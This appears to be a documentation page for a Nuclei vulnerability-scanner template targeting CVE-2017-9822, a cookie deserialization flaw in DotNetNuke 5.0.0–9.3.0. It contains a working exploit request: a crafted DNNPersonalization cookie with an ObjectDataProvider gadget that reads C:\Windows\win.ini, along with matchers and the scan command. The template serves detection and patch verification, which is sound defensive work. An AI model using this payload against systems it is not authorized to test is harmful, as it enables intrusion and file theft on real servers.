Skip to content
Nuclei Templates

DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution

ID: CVE-2017-9822

Severity: high

Author: milo2012

Tags: cve2017,cve,packetstorm,dotnetnuke,bypass,rce,deserialization,kev,dnnsoftware

Description

Section titled “Description”

DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2017-9822


info:
  name: DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution
  author: milo2012
  severity: high
  description: DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.
  impact: |
    Remote code execution through cookie deserialization
  remediation: |
    Upgrade DotNetNuke to a version higher than 9.3.0
  reference:
    - https://github.com/murataydemir/CVE-2017-9822
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9822
    - http://www.dnnsoftware.com/community/security/security-center
    - http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html
    - https://github.com/xbl3/awesome-cve-poc_qazbnm456
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-9822
    cwe-id: CWE-20
    epss-score: 0.96984
    epss-percentile: 0.99734
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,packetstorm,dotnetnuke,bypass,rce,deserialization,kev,dnnsoftware


http:
  - raw:
      - |
        GET /__ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[extensions]'
          - 'for 16-bit app support'
        condition: and


      - type: status
        status:
          - 404
# digest: 4b0a00483046022100e23ce3101fc7467daf2aa73e861cdaba36d91577e12b24f71e533081fb0cdbdf0221008800b69d3c0adc3591d3a64a36376a6c7c333e3eb9233e43b4b8c3535fbcb071:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-9822.yaml"

View on Github